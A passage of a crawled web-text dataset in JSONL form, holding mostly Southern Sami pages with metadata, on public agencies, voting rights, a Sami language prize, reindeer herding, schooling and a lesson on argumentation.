skïemtjelasside abpe dygnem.\n- Vaccinasjovnh\nMijjieh rekommendasjovneh vedtebe reerenassese mah vaccinasjovnh edtjieh meatan årrodh dejnie nasjovnellen vaccinasjovnsprogrammine. Dan gaavhtan vihkeles daaletjen programmide vuartasjidh jis tjoerebe dejtie jeatjahtehtedh.\n- Antibiotikaresistense\nBakterierh mah resistensem evtiedamme antibiotikan vööste lea dåeriesmoere. Mijjieh maahtoem aktanibie jïh juekebe dovne hokside jïh åålmegidie maam maahta darjodh guktie aajhtemem unniedidh. Aaj vihkeles heerredidh skïemtjijh hoksesne suetiem åadtjoeh.\nÅenhks faaktah Folkhälsomyndigheten bïjre\n- Folkhälsomyndigheten tsïengelen 1.b. 2014 tseegkisovvi.\n- Daam gååvnese dovne Solnesne jïh Staaresne.\n- Mijjieh medtie 500 barkijh.\n- Åejvieladtje Socialdepartementen nuelesne.\nGaskesadth\nPrivatealmetjh beagkohte 1177 Vårdguiden:se rååresjimmiej jïh viehkien åvteste jallh lihkemes hoksejarngese, infeksjovneklinihkese jallh vaccinasjovnedåastovasse medisijnen vuarjasjimmiem.\n- Telefone\n010-205 20 00\n- E-påaste\nfirstname.lastname@example.org\n- Påasteadressh\nFolkhälsomyndigheten, 171 82 Solna\nFolkhälsomyndigheten, Box 505, 831 26 Östersund\n- Guessieadressh\nNobels väg 18, Solna\nForskarens väg 3, Östersund","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/www.folkhalsomyndigheten.se\/om-folkhalsomyndigheten\/information-pa-minoritetssprak\/sydsamiska\/","date":"2019-02-23T23:43:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550249556231.85\/warc\/CC-MAIN-20190223223440-20190224005440-00629.warc.gz","language":"sma","language_score":0.9999790192,"language_script":"Latn","minhash_cluster_size":31,"top_langs":"{\"sma_Latn_score\": 0.9999790191650391}","num_words":326,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.132,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Beetnegh daan jaepien TV-aksjovneste edtjieh UNICEF:n barkose juhtedh juktie ööhpehtimmiem maanide vedtedh mah dåaroem jïh ovvaantoeh dååjroeh. Tjïelten åejvie Tone Våg veanhta daate vadtedihksvoetem gååske snåasehkidie.\n– Daate amma joekoen vihkeles. Gosse dåara aktene laantesne dellie nasjovne raaktan aktem ellies boelvem maanijste dassa mij ij ööhpehtimmiem utnieh. Gosse dåara nåhkeme dellie joekoen vihkeles maanah mah edtjieh byjjenidh jïh laantem guhkiebasse guedtedh, aktem ööhpehtimmiem utnieh. Daate vihkeles abpe nasjovnese, ij ajve maanide. Aaj joekoen vihkeles skuvlh maehtieh meatan årrodh mejnie akt dåarjodh mij mïelem vadta desnie jïh dellie, amma maanide gorredidh. Dejtie ööhpehtimmiem vedtedh sæjhta sån vielie raeffiem veartenisnie vedtedh guhkiebasse, Våg jeahta.","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/www.snasningen.no\/nyheter\/2017\/10\/26\/Ulmie-lea-110-000-kr%C3%A5vnah-15508664.ece","date":"2019-02-18T22:08:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247488490.40\/warc\/CC-MAIN-20190218220415-20190219002415-00478.warc.gz","language":"sma","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000078678131104}","num_words":101,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ståvroen lïhtsege Nöörjen Saemiej Rijhkesiebresne (NSR N) Maja Kristine Jåman håhkoe åadtjoe aaj båetije biejjide båatsojne jïh båatsojste jieledh. Daelie håhkoem håvhtedåvva Europan stööremes bïegkefaamoeprosjeekte Stoerretjahkesne Fovsesne.\nMaja Kristine Jåma (NSR N) byjjeni aktene båatsoefuelhkine Åarjel-Fosven Njaarke sïjtesne, jïh håhkoe maahta bovtsigujmie barkedh båetije biejjide. Mohte håhkoem håvhtede gosse soejkesjamme Europan stööremes bïegkefaamoe altese daelvielaantesne utnedh Stoerretjahkesne Fovsesne.\n– Mohte illedahkem dagkerijstie bïegkefaamoeprosjeekteste lea ahte 1\/3 bielie daelvielaanteste dassene. Vaenebe gåatome jeahta vaenebe bovtsh båatsoelaantesne. Mohte jis dagkerem prosjeektem åådtje bigkesovvedh, dellie akte dejstie båatsoefuelhkeste tjuara galkedh båatsoejieliemistie? Manne bïllem im åadtjoeh bovtsigujmie barkedh båetije biejjide, Jåma jeahta.\nJåma vielie soptseste ahte daate bïegkefaamoeprosjeekte ij barre båatsoejielem håvhtedh, mohte aaj abpe åarjelsaemien siebriedahkem.\n– Båatsoejieleme lea akte kultuvreguedtije, numhtie båatsoe aaj åarjelsaemien gïelem, vuekiedaajroem jïh kultuvrem vaarjele. Gosse båatsoe haajpene dle mijjen gïelem jïh kultuvrem aaj håvhtedovvieh.\nTråanten mubpien åvtehke Hilde Opoku (MDG) aarebi jeahteme Tråanten tjïelte tjuara maam akt darjodh juktie TrønderEnergi bigkiefaamoeprosjeekteste laehpedh. Jåma jïh NSR N seamma ussjedieh jïh seamma mïelesne.\n– Daelie aanje gååvnesieh jïejkemh mejtie daate aevhkies prosjeekte siebriedahkese. Annje lea naemhtie ahte aamhtese reakta-aamhtesisnie. Mijjen mïelesne ij leah reaktoe ahte saemien båatsoeburriejieleme jïh saemien kultuvre tjuara sveehkedh juktie dagkere risikaabele prosjeekten åvteste. Daelie Tråanten tjïelte jïh mubpieh byjjes aajhtereinstansh tjuerieh ektine vierhtiedidh mejtie byjjesvierhtieh rïekteslaakan nuhtjesuvvieh, Jåma jeahta.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/nsr.no\/blog\/2017\/04\/21\/sijhtem-baatsojste-jieledh-baetije-biejjide\/?lang=sma","date":"2019-02-20T23:33:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247496855.63\/warc\/CC-MAIN-20190220230820-20190221012820-00118.warc.gz","language":"sma","language_score":0.9999989271,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.999998927116394}","num_words":210,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaatsestimmiereakta\nTjaatsestimmiereaktam veeljemisnie rïjhkebeajjan jïh Europa-parlameentese sveerjen staateårrojh utnieh jis 18 jaepieh minngemes veeljemebiejjien illedh jïh leah jallh såemies aejkien orreme årroje Sveerjen almetjetjaalegisnie.\nTjaatsestimmiereakta veeljemisnie Europa-parlameentese aaj staateårrojh jeatjah Europan unijovnen lïhtsegestaatine (unijovneårrojh) utnieh gïeh 18 jaepieh minngemes veeljemebiejjien illedh. Tjuara Sveerjen almetjetjaalegisnie årrodh minngemes 30 biejjieh veeljemen åvteli jïh lea tjaatsestimmielåhkose nåålesamme. Dah eah åadtjoeh jeatjah lïhtsegelaantesne dellie tjaatsestidh.\nTjaatsestimmiereakta veeljemisnie tjïelte- jïh laantedigkiereeremidie sveerjen staateårrojh utnieh gïeh 18 jaepieh minngemes veeljemebiejjien illedh jïh lea tjïelten jïh laantedigkien almetjetjaalegisnie tjaalasovveme. Aaj unijovneårrojh jïh Nöörjen jïh Islaanten årrojh tjaatsestimmiereaktam utnieh seamma mieriedimmiej mietie. Jeatjah ålkoelaanten årrojh tjaatsestimmiereaktam utnieh jis Sveerjen almetjetjaalegisnie tjaalasovveme golme jaepine veeljemebiejjien åvteli.\nDah leah dah bïevnesh Skaehtievierhken almetjetjaalegisnie 30 biejjieh veeljemebiejjien åvteli mah nænnoestieh gie åådtje tjaatsestidh jïh gusnie. Dïhte sæjhta jiehtedh veeljijh Sveerjesne åadtjoeh tjaatsestidh dennie veeljemedistriktesne gusnie tjaalasovveme 30 biejjieh veeljemebiejjien åvteli.","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/tjaatsestimmiereakta.html","date":"2019-02-20T17:43:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247495367.60\/warc\/CC-MAIN-20190220170405-20190220192405-00106.warc.gz","language":"sma","language_score":0.9999829531,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 0.9999829530715942}","num_words":133,"character_repetition_ratio":0.126,"word_repetition_ratio":0.0,"special_characters_ratio":0.118,"stopwords_ratio":0.12,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Karin Tuolja har hele sitt voksne liv jobbet med lulesamisk språk på svensk side. Hun har jobbet som lærer, oversetter, læremiddelutvikler og korrekturleser. Tuolja er en sentral person i det lulesamiske språkmiljøet, og har spilt en viktig rolle for språksamarbeidet mellom norsk og svensk side, spesielt når det gjelder utvikling av ord og termer, samt oversetting av Bibelen.\nJekaterina Mechkina tildeles årets Gollegiella-språkpris fordi hun lenge har jobbet med å styrke kildinsamisk på russisk side. Hun har deltatt i arbeidet med å utvikle ordforrådet og en egen kildinsamisk ordbok. Mechkina har skrevet bøker, oversatt bøker og utvikler læremidler. Gjennom bøkene hennes har mange blitt kjent med livet og kulturen til kildinsamene i Murmansk-området.\nÅttende gang\nGollegiella – Nordisk samisk språkpris deles ut for åttende gang. Språkprisen skal bidra til å fremme, utvikle og bevare samiske språk i Norge, Sverige, Finland og Russland.\nSpråkprisen kan gå til enkeltpersoner, organisasjoner eller institusjoner som har gjort en betydelig innsats for å fremme samiske språk\nGode forbilder\nSametingspresident Aili Keskitalo og statsråd Monica Mæland i Kommunal- og moderniseringsdepartementet gratulere begge prisvinnere.\n– Begge prisvinnere er gode forbilder, og er viktige i arbeidet med å styrke lule- og kildinsamisk, sier statsråd Monica Mæland, i kommunal- og moderniseringsdepartementet.\n– Det har vært mange gode forslag på kandidater som har gjort en stor innsats for de samiske språkene. Forslagene dekker så å si alle de samiske språkområdene, og viser stor variasjon og bredde. Både organisasjoner og enkeltpersoner, tradisjonelle og moderne språkarenaer har blitt nominert og vurdert. Den store interessen om prisen, og de mange gode og ulike kandidatene gir grunn til optimisme for fremtiden til de samiske språkene, sier sametingspresident Aili Keskitalo.\nJuryen har bestått av Neeta Jääskö fra finsk side, David Kroik fra svensk side, Nina Afanasieva fra russisk side, Solvår Knutsen Turi og Jane Juuso fra norsk side.\nPrisen ble delt ut i Oslo 26. november til Karin Tuolja. Jekaterina Mechkina får prisen i Murmansk den 29. november.\nJulevsaemien jïh kildinsaemien vitnijh Gulliegïele-baalhkeste\nKarin Tuolja Jåhkamåhkkeste Sveerjesne jïh Jekaterina Mechkina Murmanskeste Russlaantesne noerhtelaanti gïelebaalhkam Gulliegïele 2018 åadtjoejægan.\nKarin Tuolja lea abpe sov geerve jieledem julevsaemien gïeline barkeme sveerjen bielesne. Dïhte lohkehtæjjine, jarkoestæjjine, learoevierhtieevtiedæjjine jïh korrektuvrelohkijinie barkeme. Tuolja akte vihkeles almetje julevsaemien gïelebyjresisnie, jïh aktem vihkeles råållam åtneme gïelelaavenjostosne nöörjen jïh sveerjen bielien gaskem, joekoen gosse lea evtiedimmien bïjre baakojste jïh teermijste, jïh jarkoestimmien bïjre Bijpelistie.\nJekaterina Mechkina daan jaepien Gulliegïele-baalhkam åådtje dov guhkies barkoen åvteste juktie kildinsaemien Russlaanten bielesne nænnoestehtedh. Dïhte meatan orreme barkosne baakoeveahkam evtiedidh jïh jïjtse kildinsaemien baakoegærjam evtiedidh. Mechkina lea gærjah tjaaleme, gærjah jarkoestamme jïh learoevierhtieh evtiedamme. Altese gærjaj tjïrrh jeenjesh leah kildinsaemiej jieliedinie jïh kultuvrine Murmansk-dajvesne åahpenamme.\nGaaktseden aejkien\nGulliegïele - Noerhtelaanti saemien gïelebaalhka gaaktseden aejkien vadtasåvva. Gïelebaalhka edtja viehkiehtidh dejtie saemien gïelide Nöörjesne, Sveerjesne, Såevmesne jïh Russlaantesne eevtjedh, evtiedidh jïh vaarjelidh.\nGïelebaalhka maahta aktegsalmetjidie, siebride jallh institusjovnide vadtasovvedh mah aktem stoerre barkoem dorjeme juktie saemien gïelh eevtjedh.\nHijven åvteguvvieh\nSaemiedigkiepresidente Aili Keskitalo jïh staateraerie Monica Mæland Tjïelte- jïh orrestimmiedepartemeente gåabpegh baalhkavitnijh læhkoehtieh.\n– Gåabpegh baalhkavitnijh leah hijven åvteguvvieh, jïh leah vihkeles barkosne juktie julev- jïh kildinsaemien nænnoestehtedh, staateraerie Monica Mæland jeahta, tjïelte- jïh orrestimmiedepartemeentesne.\n– Gellie hijven raeriestimmieh kandidaatide orreme mah aktem stoerre barkoem saemien gïeli åvteste dorjeme. Raeriestimmieh mahte gaajhkh gïeledajvh feerhmieh, jïh stoerre variasjovnem jïh gamtoem vuesiehtieh. Dovne siebrieh jïh aktegsalmetjh, aerpievuekien jïh daajbaaletje gïelesuerkieh leah nammoehtamme jïh vuarjasjamme sjïdteme. Dan stoerre ïedtjen gaavhtan baalhkan bïjre, jïh dej gellie hijven jïh ovmessie kandidaati gaavhtan dellie doh saemien gïelh aktem hijven båetijen aejkien åadtjoeh, saemiedigkiepresidente Aili Keskitalo jeahta.\nNeeta Jääsko, Såevmeste, David Kroik Sveerjeste, Nina Afanasieva Russlaanteste, Solvår Knutsen Turi jïh Jane Juuso Nöörjeste leah meatan orreme veeljememoenehtsisnie.\nBaalhka vadtasåvva Oslosne gålkoen 26. b. Karin Tuoljese, jïh Murmanskesne gålkoen 29. b. Jekaterina Mechkinese.","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/nearadio.no\/samisk\/kultur\/vinnere-av-gollegiella-prisen\/19.20610","date":"2019-02-18T08:03:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247484772.43\/warc\/CC-MAIN-20190218074121-20190218100121-00189.warc.gz","language":"sma","language_score":0.9707665443,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.970766544342041, \"sme_Latn_score\": 0.026631375774741173}","num_words":603,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":0.988,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sydsamiska \/ Åarjelsaemien gïele: Daate lea Universitetskanslerämbete\nUniversitetskanslerämbete (UKÄ) edtja meatan årrodh sveerjen jïlleskuvlem nännoestidh. Mijjen darjoemisnie uvtemes golme dajvh:\nÖöhpehtimmiej kvaliteeth gïehtjedidh\nMijjieh gïehtjedeminie dejtie ööhpehtimmide mejtie examenidie vedtieh juktie vaaksjodh dah krïebpesjidie illieh mah daerpies jollebe ööhpehtimmide. UKÄ aaj ohtsemh pryövoe universiteeteste jïh jïlleskuvlijste mah sijhtieh exameneluhpiem utnedh.\nGoerehtimmie jïh statistihke\nMijjieh öörnebe dam offisielle statistihkem mij jïlleskuvlesektovren bïjre, mij vadta mijjieh bïevnesh jïlleskuvlesektovreste tjåanghkan bïejebe, dam goerehtibie jïh gïehtjedibie. Mijjieh jïlleskuvlem evtiedimmie vaaksjobe jïh universiteeti jïh jïlleskuvli darjomh goerehtibie jïh gïehtjedibie.\nEffektijviteetem gïehtjedidh\nMijjieh aaj gïehtjedibie man effektijveles universiteeth jïh jïlleskuvlh dej vierhtiejgujmie barkeminie.\nStudenti reaktah jïh vaaksjome\nJuktie studenti reaktah vaaksjodh dle gïehtjedibie guktie universiteeth jïh jïlleskuvlh laakh jïh njoelkedassh mïetestieh. Dam gïehtjedibie dovne jïjtsh initiatijven mietie jïh aajnealmetji laejhtemi gaavhtan.\nUKÄ aaj kanslijedåarjegh vadta Jïlleskuvlen avskiljandemoenehtsasse (HAN) jïh Överklagandemoenehtsasse jïlleskuvlide (ÖNH). Avskiljandemoenehtse ieride pryövoe man bïjre studenth ööhpehtimmijste juakadidh. Överklagandemoenehtse laejhtemh pryövoe nännoestimmiej bïjre mejtie jïlleskuvlesektovresne jïh sektovresne barkijejïlleskuvlese nännoestamme.\nOrganisasjovne\nUniversiteetekanslere lea Universitetskanslerämbete´n åejvie. Mijjieh medtie 90 barkijh mah golme ieriegoevtesinie, goevtesisnie mij administrasjovnese jïh IT´se jïh aaj kommunikasjovnesekretarijatesne.\nMijjem gaskesadtedh\nTellefovne: 08-563 085 00\nPåastesijjie: Box 7703, 103 95 Stockholm\nSijjie: Löjtnantsgatan 21\nE-påaste: email@example.com\nJis sïjhth mijjen barkijh gaskesadtedh vuartesjh: www.uka.se","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/uka.sitevision.se\/om-oss\/var-verksamhet\/om-oss-pa-sveriges-minoritetssprak\/sydsamiska---aarjelsaemien-giele.html","date":"2019-02-19T07:24:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247489425.55\/warc\/CC-MAIN-20190219061432-20190219083432-00270.warc.gz","language":"sma","language_score":0.9999780655,"language_script":"Latn","minhash_cluster_size":50,"top_langs":"{\"sma_Latn_score\": 0.9999780654907227}","num_words":190,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ånnetji aelhkieslaakan limh maahteme jiehtedh akte hijven argumeente lea argumeente mij tsavtsa. Men ij leah dan aelhkie. Argumeenth eah edtjh ajve tsevtsedh, dah edtjieh aaj töölledh mijjieh dejtie kraanskobe.\nArgumeenth\nMijjieh byörebe dan åvteste mijjem gihtjedh:\n- Argumeenth nænnoes?\n- Argumeenth maereles?\n- Man tjarke argumeenth viertiestamme vuestie-argumeentigujmie?\n- Gaajhkh vihkeles bielieh aamhtesisnie tjïelkestamme?\nMij akte hijven argumente?\nHijven argumeente lea nænnoes\nGosse jiehtebe akte bagkesimmie lea nænnoes dellie mïelebe dïhte lea saatnan, jallh buajhkoes jïh eensi vååjnoe. Mijjen vuesiehtimmie-tjaalegisnie «Nihtieh kreeke-pryövenassh!» tjaelije gellie bagkesimmiejgujmie båata, vuesiehtimmin gaavhtan:\n- eah naan kreeke-pryövenassh vaaksjoeh\n- laake ij gååvnesh mij pryövenasse-kreekh vaarjelieh\nDoh jeanatjommes lohkijh eah sån nuekies maehtieh juktie maehtedh vuarjasjidh mejtie daah bagkesimmieh leah saetnies. Dah maehtieh veeljedh tjaelijem leajhtadidh, men byöroeh goerehtidh mejtie bagkesimmieh leah reaktoe. Dam byöroeh darjodh mejtie tjaeliejasse jaehkieh jallh ij.\nAkte hijven argumeente lea maereles\nMijjieh tjoerebe aaj gïehtjedidh tjaelije aamhtesasse kreeptjede. Gaajhkh argumeenth jïh premissh tjuerieh maereles årrodh. Jallh maehtebe jiehtedh argumeenth tjuerieh vihkelesvoetem utnedh dan gyhtjelassese maam tjaelije bæjjese vaalta:\n- Maereles aamhtesasse dotkijh kreekh hodtedieh jïh dah aaj kreekide buvvieh?\n- Maereles dotkijh kreeke-pryövenassh nåhtede juktie kosmetihkh, reejneme-mehtieh jïh plearoeh aath darjodh?\n- Man åvteste maereles?\nIj leah ajve tjaelije mij muana mejtie akte argumente lea maereles. Dïhte tjuara aaj lohkijem jaehkiehtidh daate argumeente lea vihkeles aamhtesasse.\nAkte hijven argumeente lea veaksehke\nMijjieh tjoerebe aaj vuarjasjidh mejtie tjaelijen argumeenth leah nuekies veaksehke vuestie-argumeenti vööste, dastegh dagkerh båetieh. Akte almetje mij aamhtesem voebnesje, maahta vuesiehtimmien gaavhtan aktine vuestie-argumeentine båetedh, goh daate:\n- Minngemes aejkien bioteknologije-dotkemh ahkedh buerebe dotkeme-resultath åådtjeme. Daelie dotkijh maehtieh orre dalkesh maadtoe-celline pryövedh. Jïh dle maehtieh sohtem dalkesistie vaeltedh eannan dalkesem kreekide jïh almetjidie pryövoeh. Naemhtie pryövenasse-kreekh eah daarpesjh sohtem åadtjodh.\nDagkeres rïektese-argumeente maahta vuesiehtimmien gaavhtan bagkesimmiem heajjoedidh.\nElliesvoete\nArgumentasjovne aktene tjaalegisnie maahta lissiehtidh jallh gaertjiedidh, jïebne jallh aktelaaketje årrodh. Aktene digkiedimmie-håalemisnie vuesiehtimmien gaavhtan, edtjh aktem tjïelke veanhtoem åehpiedehtedh jïh åenehkslaakan soptsestidh. Vihkeles naan vaenie, nænnoes argumeentigujmie båetedh mah dov veanhtoem dåarjoehtieh. Digkiedimmie-tjaalegisnie maahtah argumenteradidh akten vihties vuajnoen åvteste, men daesnie maahtah jienebh argumeenth meatan utnedh jïh vielie dej bïjre tjaeledh.\nGosse edtjh digkiedimmie-laavenjassem skuvlesne tjaeledh, dellie digkiedimmie-laavenasse krïevenassem åtna. Datne edtjh maereles argumeenth åehpiedehtedh dovne aamhtesen mietie jïh vööste, dejtie vuarjasjidh jïh mænngan aktine konklusjovnine båetedh.\nBaakoeh\nSaemien\nDaaroen\nvuestie-argumeente\nmotargument\nbagkesimmie\npåstand\nelliesvoete\nhelhet\nArgumentasjovneKjernestoff\nNihtieh kreeke-pryövenassh!Kjernestoff","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:172880\/topic:1:182050\/resource:1:172891","date":"2019-03-22T01:24:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202588.97\/warc\/CC-MAIN-20190321234128-20190322020128-00213.warc.gz","language":"sma","language_score":1.0000040531,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 1.0000040531158447}","num_words":369,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Att erbjuda en väl fungerande barnomsorg och utbildning med hög kvalité är viktigt för att göra en bygd attraktiv.Föräldrar vill känna sig lugna när de lämnar sina barn på förskolan eller veta att deras barn i skolan både får relevanta kunskaper och ett väl fungerande socialt nätverk.\nEn gymnasieskola och möjligheter till eftergymnasiala studier är en viktig ingrediens för att hålla kommunen levande. I Åre kommun finns det utbildningar för alla åldrar, här kan du leva och utvecklas.\nMaana jih ööhpehtimmie\nAkten buerielaakan maanahoksem jih ööhpehtimmiem jolle kvaliteetine faaledh, lea vihkeles ihke aktem voenem njaahtjomes darjodh.Eejhtegh sijhtieh raeffies damtedh gåessie dej maanide aarhskuvlese laehpien jallh daejredh ahte dej maanah buerie daajroeh jih hijven sosialen viermiem åadtjoeh. Aktem jåarhkeskuvlem jih nuepiem minngiejåarhkeskuvle-lohkemh vaedtsedh lea akten vihkeles aamhtesem ihke tjïelte edtja jielijes årrodh. Ååren tjïeltesne ööhpehtimmie gaajhkide jaepide gååvnese, daesnie maahta jieledh jih öövtiedidh.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/are.se\/barnutbildning","date":"2019-03-18T16:45:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912201455.20\/warc\/CC-MAIN-20190318152343-20190318174343-00335.warc.gz","language":"sma","language_score":0.9723469019,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9723469018936157, \"swe_Latn_score\": 0.026543164625763893}","num_words":142,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.049,"flagged_words_ratio":0.0,"lang_id_score":0.977,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Nåake tsiehkieh noere båatsoeburride\nJenny-Krihke D. Bendiksen nïekedeminie bovtsigujmie barkedh elliestïjjen, men dan åvteste dan jïjnje juerie båatsoen bïjre dellie eajhnadovveme ööhpehtimmiem vaeltedh juktie ööhpehtimmiem utnedh jis tjuara barkoem jeatjah vaeltedh.\nSkuvlem vaedtsedh jïh nïekedimmie bovtsigujmie barkedh ij leah iktesth dan aelhkie. Nöörjen Båatsoesaemiej Rijhkesiebrie sov vaestiedassem vedti staaten faalenassese akten orre båatsoelatjkoen bïjre gaskevåhkoen. Akte dejstie ulmijste latjkose sæjhta årrodh jieledem aelhkebe darjodh dejtie noeride mah sijhtieh bovtsigujmie aelkedh.\nGöökte barkoeh\n- Altese soejkesjen mietie sæjhta bovtsigujmie aelkedh 8-10 jaepiej minngelen. Daan biejjien giedtesne aehtjiebinie jïh tjietsiebinie ektien juktie viehkiehtidh jïh vielie lïeredh. Manne mån byöreme skuvlesne årrodh men goh saemie dellie maajetjh nuepiem åtnam 10 frijjebiejjieh vaeltedh skuvleste gosse edtjem saemien aatigujmie barkedh, Jenny-Krihke tjïelkeste, mij minngemes jaepiem vaadtsa sïejhmefaageles ööhpehtimmesne Rørosen jåarhkeskuvlesne. Soejkesjen mietie ussjede ööhpehtimmiem vaeltedh goh skïemtjesåjhtere jallh lohkehtæjja, ij rikti daejrieh, men sæjhta ööhpehtimmiem vaeltedh guktie maahta jeatjah barkoem åadtjodh dastegh ij gåaredh bovtsigujmie gïehtelidh.\n- Ij maehtieh learoem båatsoen bïjre lïeredh akten gærjan tjïrrh, dam tjuara lïeredh dååjrehtimmien tjïrrh. Mearan ööhpehtimmiem vaaltam sïjhtem jïjnjem daajroem dassedh maam lim sïjhteme åadtjodh jis lim bovtsi luvnie. Im akt daejrieh mejtie sïjhtem nåhtoem åadtjodh dehtie ööhpehtimmeste maam vaaltam. 100 jaepieh mijjieh åarjelsaemieh reaktesne orreme mijjen gåatomelaanti bïjre mah mijjeste sualasieh. Dan åvteste tjoerem jïjtjemem gaajhkese ryöjredidh, jis tjarke barkam sïjhtem mån dam buektiehtidh, Jenny-Krihke tjïelkeste.\nUnnebelåhkoe unnebelåhkosne\nJenny-Krihken mïelen mietie dellie båatsoe akte unnebelåhkoe unnebelåhkosne, jïh dan åvteste deadtove gaajhkide noeride båatsosne lissie stoerre sjædta.\n- Mijjieh jïjnjem deadtovem ålkoelistie dååjrebe dovne eatnemeskilkehtassi gaavhtan mijjen gåatomedajvine, båatsoesaemine årrodh jïjnje psykiske deadtovem vadta, akte kultuvre mesnie maahta geerve årrodh jieledh, gaajhkine mij meatan fulkie.\n- Gellie almetjh båatsosne aemieluesieh, jïh dïhte joekoen sååjrehke. Gellieh mijjeste lea leajhtadimmiem åejvieladtjide dasseme. Dïhte mij lea saemien lea hijven gosse lea heevehtimmie goh Tråante jïh goevten 6. biejjien. Dellie sijhtieh beetnegh nuhtjedh jïh mijjem dåarjoehtidh, men gosse båata dïsse mij lea vielie praktihkeles goh gåatomedajvh, hæhtjoebigkeme, juvrh jïh vielie, dellie dam svïegkesasse biejieh jïh jiehtieh dah ajve njoelkedassi mietie darjoeh. Mijjese lea geerve åejvieladtjide leajhtadidh gosse dan gellie reakta-aamhtesh orreme.\n- Men mijjieh bïerkenamme gellie stoerretjuetie jaepieh guktie mijjieh mih guhkebem bïerkenibie, dïhte noere båatsoesaemie sjoehkede.\nBuerebe tsiehkiej åvteste barka\nNBR, Nöörjen Båatsoesaemiej Rijhkesiebrien åvtehke, Ellinor Marita Jåma lea eevre sïemes noere båatsoeburrieh gellie haestemh utnieh, men veanhta aaj akte kvaliteete maahtoem utnedh jieniebinie suerkine.\n- Nov lea gujht naemhtie noere båatsoeburrieh tjuerieh ööhpehtimmiem vaeltedh, men noeri gaskem båatsosne dellie vaenie mij dan jïjnjem maahtoem utnieh gosse måjhtele dam guektiengïerth maahtoem dah dovne ööhpehtimmeste jïh båatsoste åadtjoeh. Dah tjuerieh iktegisth veeljedh magkeres geajnoem dah edtjieh veeljedh, jïh dan åvteste NBR lea orresistie stipendeöörnegem sjïehtesjamme maam utnimh 10 jaepiej juassah. Dellie noerh meehtin ekonomijem utnedh vielie meatan årrodh båatsosne mearan skuvlem veedtsin, juktie dovres vuelkedh jïh vielie. Jeenjesh nåhtoem daehtie öörnegistie utnin, dah beetnegh utnin gåetide vuelkedh gosse bovtse lij giedtesne jïh numhtie. Båatsoe lea aaj dïhte aajnehke aalkoejieleme mij ij haestemh dåårrehtimmien bïjre utnieh, buerebh båastoeh, Jåma minngemosth jeahta.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/samimag.no\/se\/node\/1152","date":"2019-03-26T15:24:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912205534.99\/warc\/CC-MAIN-20190326135436-20190326161436-00373.warc.gz","language":"sma","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.000002145767212}","num_words":477,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie vïhtesjadta daan jaepien aaj stoerre teehpemh orreme aarhtsi gaavhtan. Saemiedigkieraerie Berit Mari Eira jeahta fer geerve luhpiedimmiem åadtjodh aarhtsem vuetjedh.\n–Manne damtem Byjresedepartemente ij aarhtseskaaride itjmieslaakan vaeltieh, Eira 